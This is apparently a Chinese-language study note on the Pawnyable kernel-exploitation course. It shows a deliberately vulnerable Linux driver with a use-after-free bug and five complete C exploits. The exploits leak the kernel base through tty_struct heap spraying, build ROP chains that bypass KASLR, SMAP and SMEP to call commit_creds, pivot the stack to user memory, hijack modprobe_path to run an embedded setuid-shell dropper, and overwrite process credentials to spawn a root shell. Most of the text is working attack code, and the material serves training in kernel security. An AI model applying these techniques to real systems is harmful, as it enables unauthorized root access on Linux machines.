0012-TIPS-pawnyable : Use-After-Free

原文
Linux Kernel PWN | 040203 Pawnyable之UAF
https://pawnyable.cafe/linux-kernel/LK01/use_after_free.html
题目下载

漏洞代码

#include 
#include 
#include 
#include 
#include 
#include 

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (count > BUFFER_SIZE) {
    printk(KERN_INFO "invalid buffer size\n");
    return -EINVAL;
  }

  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

漏洞分析

驱动可以被同时打开多次，g_buf指向最后一次打开时分配的堆对象 g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);

#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

第一次打开驱动

给g_buf分配堆空间

第二次打开驱动

module_open中，会在g_buf重新分配堆对象

关闭其中一个fd

close(fd)，会调用module_close，将当前指向g_buf的堆对象空间释放掉，
同时可以通过堆喷占据g_buf释放掉的堆对象，
由于module_close在释放g_buf堆对象时，没有赋值NULL，可以通过另一个fdmodule_close对g_buf指向的堆对象进行读写，也就是修改堆喷对象占据的堆空间，从而进行利用提权。

漏洞利用

利用方式与0011-TIPS-pawnyable : Heap-Overflow一致

01_leak_kbase_and_heap

#include 
#include 
#include 
#include 
#include 
#include 

#define ofs_tty_ops 0xc39c60

unsigned long kbase;
unsigned long g_buf;

int main() {
    int spray[100];
    int fd1 = open( "/dev/holstein" , O_RDWR);
    int fd2 = open( "/dev/holstein" , O_RDWR);
    close(fd1); // free(g_buf)

    for (int i = 0; i < 100; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    char buf[0x400];
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    getchar();

    for (int i = 0; i < 100; i++)
        close(spray[i]);

    return 0;
}

02_exploit_bypass_kaslr_smap_smep

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0x0eb7e4)
#define push_rdx_pop_rsp_pop_ret (kbase + 0x14fbea)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int main() {
    save_userland_state();

    puts("[*] UAF-1: open fd1, fd2; close fd1");
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);   // <---------------- 通过 fd2进行操作
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    char buf[0x400];
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    // craft rop chain and fake function table
    printf("[*] crafting rop chain\n");
    unsigned long *chain = (unsigned long *)&buf;

    *chain++ = pop_rdi_ret;
    *chain++ = 0x0;
    *chain++ = prepare_kernel_cred;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_rep_movsq_ret;
    *chain++ = commit_creds;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    *(unsigned long *)&buf[0x3f8] = push_rdx_pop_rsp_pop_ret; // 

    printf("[*] overwriting tty_struct target-1 with rop chain and fake ioctl ops\n");
    write(fd2, buf, 0x400);


    puts("[*] UAF-2: open fd3, fd4; close fd3");
    int fd3 = open("/dev/holstein", O_RDWR);
    int fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr\n");
    read(fd4, buf, 0x400);
    *(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
    write(fd4, buf, 0x20);

    printf("[*] invoking ioctl to hijack control flow\n");
    // hijack control flow
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0, g_buf - 8);
    }

    getchar();
    close(fd2);
    close(fd4);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}

03_exploit_userland_pivoting

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define mov_esp_0x39000000_ret (kbase + 0x5b5410)
#define prepare_kernel_cred (kbase + 0x72560)
#define commit_creds (kbase + 0x723c0)
#define pop_rdi_ret (kbase + 0x14078a)
#define pop_rcx_ret (kbase + 0x0eb7e4)
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

void spawn_shell();
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t)spawn_shell;

unsigned long kbase;
int spray[SPRAY_NUM];

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int main() {
    save_userland_state();

    puts("[*] UAF-1: open fd1, fd2; close fd1");
    int fd1 = open("/dev/holstein", O_RDWR);
    int fd2 = open("/dev/holstein", O_RDWR);
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    char buf[0x400];
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    if ((kbase & 0xffffffffffff0000) == 0xffffffffffff0000) {
        printf("[-] heap spraying failed\n");
        exit(-1);
    }

    char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if ((unsigned long *)userland == (unsigned long *)-1)
        fatal("mmap");
    printf("[+] 0x%lx address mmaped\n", (unsigned long)userland);

    // craft rop chain and fake function table
    printf("[*] crafting rop chain from 0x39000000\n");
    unsigned long *chain = (unsigned long *)0x39000000;

    *chain++ = pop_rdi_ret;
    *chain++ = 0x0;
    *chain++ = prepare_kernel_cred;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = mov_rdi_rax_rep_movsq_ret;
    *chain++ = commit_creds;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = pop_rcx_ret;
    *chain++ = 0;
    *chain++ = pop_rcx_ret;
    *chain++ = mov_esp_0x39000000_ret; // fake ops ioctl
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = user_rip;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    puts("[*] UAF-2: open fd3, fd4; close fd3");
    int fd3 = open("/dev/holstein", O_RDWR);
    int fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr at 0x39000000\n");
    read(fd4, buf, 0x20);
    *(unsigned long *)&buf[0x18] = 0x39000000;
    write(fd4, buf, 0x20);

    printf("[*] invoking ioctl to hijack control flow\n");
    // hijack control flow
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        ioctl(spray[i], 0, 0);
    }

    getchar();
    close(fd2);
    close(fd4);
    for (int i = 0; i < SPRAY_NUM; i++)
        close(spray[i]);

    return 0;
}

04_exploit_aaw_modprobe

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06)
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8)
#define modprobe_path (kbase + 0xe38480)

int fd1, fd2, fd3, fd4;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x400];
char win_condition[] = "/tmp/evil";

/*
 * Ref: https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods
 * Dropper...:
 * fd = open("/tmp/win", 0_WRONLY | O_CREAT | O_TRUNC);
 * write(fd, shellcode, shellcodeLen);
 * chmod("/tmp/win", 0x4755);
 * close(fd);
 * exit(0)
 *
 * ... who drops some shellcode ELF:
 * setuid(0);
 * setgid(0);
 * execve("/bin/sh", ["/bin/sh"], NULL);
 */
unsigned char dropper[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x03, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb0, 0x02, 0x48, 0x8d, 0x3d, 0x3b, 0x00, 0x00,
    0x00, 0xbe, 0x41, 0x02, 0x00, 0x00, 0x0f, 0x05,
    0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x33, 0x00,
    0x00, 0x00, 0xba, 0xa0, 0x00, 0x00, 0x00, 0xb0,
    0x01, 0x0f, 0x05, 0x48, 0x31, 0xc0, 0xb0, 0x03,
    0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x13, 0x00, 0x00,
    0x00, 0xbe, 0xff, 0x0d, 0x00, 0x00, 0xb0, 0x5a,
    0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0, 0x3c, 0x0f,
    0x05, 0x00, 0x00, 0x00, 0x2f, 0x74, 0x6d, 0x70,
    0x2f, 0x77, 0x69, 0x6e, 0x00, 0x7f, 0x45, 0x4c,
    0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x3e,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff,
    0xb0, 0x69, 0x0f, 0x05, 0x48, 0x31, 0xff, 0xb0,
    0x6a, 0x0f, 0x05, 0x48, 0xbb, 0xd1, 0x9d, 0x96,
    0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb,
    0x53, 0x48, 0x89, 0xe7, 0x56, 0x57, 0x48, 0x89,
    0xe6, 0xb0, 0x3b, 0x0f, 0x05};

int cache_fd = -1;

void AAW32(unsigned long addr, unsigned int val) {
    printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
    if (cache_fd == -1) {
        read(fd4, buf, 0x400);
        *(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
        write(fd4, buf, 0x20);

        for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
            int v = ioctl(spray[i], val, addr /* rdx */);
            if (v != -1) {
                printf("[+] target tty_struct index: #%d\n", i);
                cache_fd = spray[i];
                break;
            }
        }
    } else
        ioctl(cache_fd, val, addr);
}

int main() {
    puts("[*] UAF: open fd1, fd2; close fd1");
    fd1 = open("/dev/holstein", O_RDWR);
    fd2 = open("/dev/holstein", O_RDWR);
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
        printf("[-] heap spraying failed\n");
        for (int i = 0; i < SPRAY_NUM / 2; i++)
            close(spray[i]);
        exit(-1);
    }

    *(unsigned long *)&buf[0x3f8] = mov_ptr_rdx_rcx_ret;
    write(fd2, buf, 0x400);

    puts("[*] UAF-2: open fd3, fd4; close fd3");
    fd3 = open("/dev/holstein", O_RDWR);
    fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    for (int i = 0; i < sizeof(win_condition); i += 4)
        AAW32(modprobe_path + i, *(unsigned int *)&win_condition[i]);

    FILE *fptr = fopen(win_condition, "w");
    if (!fptr) {
        puts("[!] Failed to open win condition");
        exit(-1);
    }
    if (fwrite(dropper, sizeof(dropper), 1, fptr) < 1) {
        puts("[!] Failed to write win condition");
        exit(-1);
    }
    fclose(fptr);
    if (chmod(win_condition, 0777) < 0) {
        puts("[!] Failed to chmod win condition");
        exit(-1);
    };
    puts("[+] win_condition (dropper) written to /tmp/evil");

    puts("[*] triggering modprobe");
    system("chmod +x /tmp/evil");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn"); // trigger modprobe_path

    puts("[*] spawning root shell");
    system("/tmp/win");

    return 0;
}

05_exploit_aar_aaw_cred

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SPRAY_NUM 100

#define ofs_tty_ops 0xc39c60
#define mov_ptr_rdx_rcx_ret (kbase + 0x1b2d06)
#define mov_eax_ptr_rdx_ret (kbase + 0x4469e8)

void fatal(char *msg) {
    perror(msg);
    exit(-1);
}

int fd1, fd2, fd3, fd4;
unsigned long kbase;
unsigned long g_buf;
int spray[SPRAY_NUM];
char buf[0x400];

int cache_fd_aaw = -1;
int cache_fd_aar = -1;

unsigned int AAR32(unsigned long addr) {
    if (cache_fd_aar == -1) {
        read(fd4, buf, 0x20);
        *(unsigned long *)&buf[0x18] = g_buf + 0x3f8 - 12 * 8;
        write(fd4, buf, 0x20);

        for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
            int v = ioctl(spray[i], 0, addr /* rdx */);
            if (v != -1) {
                cache_fd_aar = spray[i];
                return v;
            }
        }
    } else
        return ioctl(cache_fd_aar, 0, addr);
}

void AAW32(unsigned long addr, unsigned int val) {
    printf("[*] AAW: writing 0x%x at 0x%lx\n", val, addr);
    if (cache_fd_aaw == -1) {
        read(fd4, buf, 0x20);
        *(unsigned long *)&buf[0x18] = g_buf + 0x3f0 - 12 * 8;
        write(fd4, buf, 0x20);

        for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
            int v = ioctl(spray[i], val, addr /* rdx */);
            if (v != -1) {
                cache_fd_aaw = spray[i];
                break;
            }
        }
    } else
        ioctl(cache_fd_aaw, val, addr);
}

int main() {
    puts("[*] UAF-1: open fd1, fd2; close fd1");
    fd1 = open("/dev/holstein", O_RDWR);
    fd2 = open("/dev/holstein", O_RDWR);
    close(fd1); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    printf("[*] leaking kernel base and g_buf with tty_struct\n");
    read(fd2, buf, 0x400); // read tty_struct
    kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops;
    g_buf = *(unsigned long *)&buf[0x38] - 0x38;
    printf("[+] leaked kernel base address: 0x%lx\n", kbase);
    printf("[+] leaked g_buf address: 0x%lx\n", g_buf);

    if ((g_buf & 0xffffffff00000000) == 0xffffffff00000000) {
        printf("[-] heap spraying failed\n");
        for (int i = 0; i < SPRAY_NUM / 2; i++)
            close(spray[i]);
        exit(-1);
    }

    *(unsigned long *)&buf[0x3f0] = mov_ptr_rdx_rcx_ret;
    *(unsigned long *)&buf[0x3f8] = mov_eax_ptr_rdx_ret;
    write(fd2, buf, 0x400);

    puts("[*] UAF-2: open fd3, fd4; close fd3");
    fd3 = open("/dev/holstein", O_RDWR);
    fd4 = open("/dev/holstein", O_RDWR);
    close(fd3); // free(g_buf)

    printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2);
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
        if (spray[i] == -1)
            perror("open");
    }

    puts("[*] changing .comm");
    if (prctl(PR_SET_NAME, "aptx4869") != 0)
        fatal("prctl");

    unsigned long addr;
    for (addr = g_buf - 0x1000000;; addr += 0x8) {
        if ((addr & 0xfffff) == 0)
            printf("[*] searching for .comm at 0x%lx\n", addr);

        if (AAR32(addr) == 0x78747061 && AAR32(addr + 4) == 0x39363834) {
            printf("[+] .comm found at 0x%lx\n", addr);
            break;
        }
    }

    unsigned long addr_cred = 0;
    addr_cred |= AAR32(addr - 8);
    addr_cred |= (unsigned long)AAR32(addr - 4) << 32;
    printf("[+] current->cred = 0x%lx\n", addr_cred);

    puts("[*] changing cred to root");
    for (int i = 1; i < 9; i++)
        AAW32(addr_cred + i * 4, 0);

    puts("[*] spawning root shell");
    system("/bin/sh");

    return 0;
}